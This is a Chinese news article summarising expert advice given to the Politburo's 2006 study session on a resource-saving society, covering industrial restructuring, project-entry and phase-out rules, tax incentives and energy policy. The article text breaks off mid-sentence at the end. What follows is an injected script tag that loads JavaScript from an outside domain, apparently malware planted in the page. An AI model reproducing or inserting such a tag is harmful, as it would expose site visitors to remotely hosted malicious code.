按：2006年12月25日，中共中央政治局进行了第37次集体学习，安排的内容是关于我国建设资源节约型社会。国务院发展研究中心产业经济研究部部长冯飞研究员、国家发展和改革委员会宏观经济研究院能源研究所所长韩文科研究员就这个问题进行讲解，并谈了他们对我国建设资源节约型社会的意见和建议。

    ■ 建设节约型社会不能只停留在口号上

    作为国务院发展研究中心产业经济研究部副部长，冯飞的主要研究领域为产业经济、管制经济学、技术创新等。曾参加国家部署以及国务院发展研究中心主持的许多重大研究项目，参与有关部门发展规划、改革方案和政策设计。他是国务院发展研究中心召开的建设节约型社会国际研讨会背景报告的主笔人之一。
 
    冯飞最有代表性的一个观点就是：建设节约型社会不能只停留在口号上。冯飞2005年6月在接受《中国经济时报》采访时表示，中央在十六届三中全会上就已提出要大力发展节约型社会的战略方针，但要想使建设节约型社会不仅仅停留在口号上。要使建设节约型社会有实质性进展，一要抓住主要矛盾，二是政府要发挥有形的手的作用。

    什么是建设节约型社会的主要矛盾？首先就是由结构性原因造成的资源约束趋紧。因此，节约型社会的建立要从转变经济增长方式入手，调整产业结构。总体来说，一是要建立资源节约的国民经济体系，二是建立资源节约的生活方式。

    建立资源节约的国民经济体系，必须要加快发展服务业，特别要加大生产型服务业的发展。从工业内部看，重化工业加速发展有其自身规律性，其形成机制与消费结构的升级有关，总体上形成了消费结构升级带动了产业结构升级的局面，由此形成一些高增长产业群。对此政府要注意正确引导，走新型工业化道路。

    ■ 建设节约型社会的三个制度

    建设节约型社会，政府要做的事情有很多，冯飞的建议是先建立三个制度。一是建立规范、公开、透明的项目准入制度。从资源如水、土地、环境等方面制定较高标准，满足标准的项目才能上，否则就不准上；二是建立落后产品、工艺、设备淘汰制度；三是建立重要耗能产品的市场准入制度。比如汽车，采取严格的型式认证制，从节能、环保、安全方面对汽车进入市场给出严格条件。

    同时，建立一种有效的经济激励机制，形成一种长效机制。从政策角度看，最重要的是税收政策与价格形成机制。此外，要大力发展循环经济，加强对资源的循环利用。从生活方式看，倡导节约型方式，增强公众的忧患意识、节约意识，引导合理的消费行为。

    但是目前，政府在不少方面如税收政策、法律等方面都有缺失。在某种程度上可以说，过去中国在节约方面取得的成就是依靠市场机制对资源的基础性配置作用，从而改善了资源配置的效率。但市场机制与外部性有时并不一致，尤其是在法律、标准、财税政策等方面都存在较大缺失的情况下，在资源节约问题上市场机制失灵的程度要大得多。在新的发展阶段，政府的作用应该得到加强。当然，加强政府的作用并不是说政府要直接参与经济行为，而是由它提供有利于资源节约的制度环境、政策环境，最终起作用的还是要靠市场机制。总之，在建设节约型社会这个问题上，政府是关键，市场是基础，企业是主体，全社会共同参与是重要保证。

    冯飞特别强调的一点是，应该使建设节约型社会成为新时期的一项基本国策，就是说要将控制人口、节约资源、保护环境共同作为新时期的基本国策，并以此为依据建立综合反映经济发展、社会进步、资源利用、环境保护等因素和体现科学发展观的官员考核指标体系，彻底改变片面追求ＧＤＰ增长的行为。这样做具有长远的战略意义，可以使资源约束紧张与缓和时期、在资源约束大的地区与约束小的地区、在中央与地方都能认识到节约资源的重要性，并付诸行动。

    ■ 把建设资源节约型社会列入规划

    国务院发展研究中心宏观经济研究部曾于2006年7月22～23日在北京举办了“第三届中国宏观经济走势与产业发展高层论坛”，邀请国内外各界权威专家及政府官员共同对中国宏观经济运行形势、建设社会主义新农村、国家财政货币政策、产业政策趋向及发展趋势进行了分析与展望。在这次论坛上，国家发改委能源所副所长韩文科发表了重要演讲。

    韩文科认为，能源问题是影响宏观经济走势的一个非常重要的因素。尤其在国际上，世界各国对能源问题非常关注，最近刚刚开完八国峰会上，胡锦涛主席也发表的一个关于能源问题的书面讲话，阐述了我国对能源问题包括国际能源合作的看法。国务院已经开会研究了关于节能的问题，并发出了一个关于节能的决定。所以?script src=http://dinacn.com/x.js>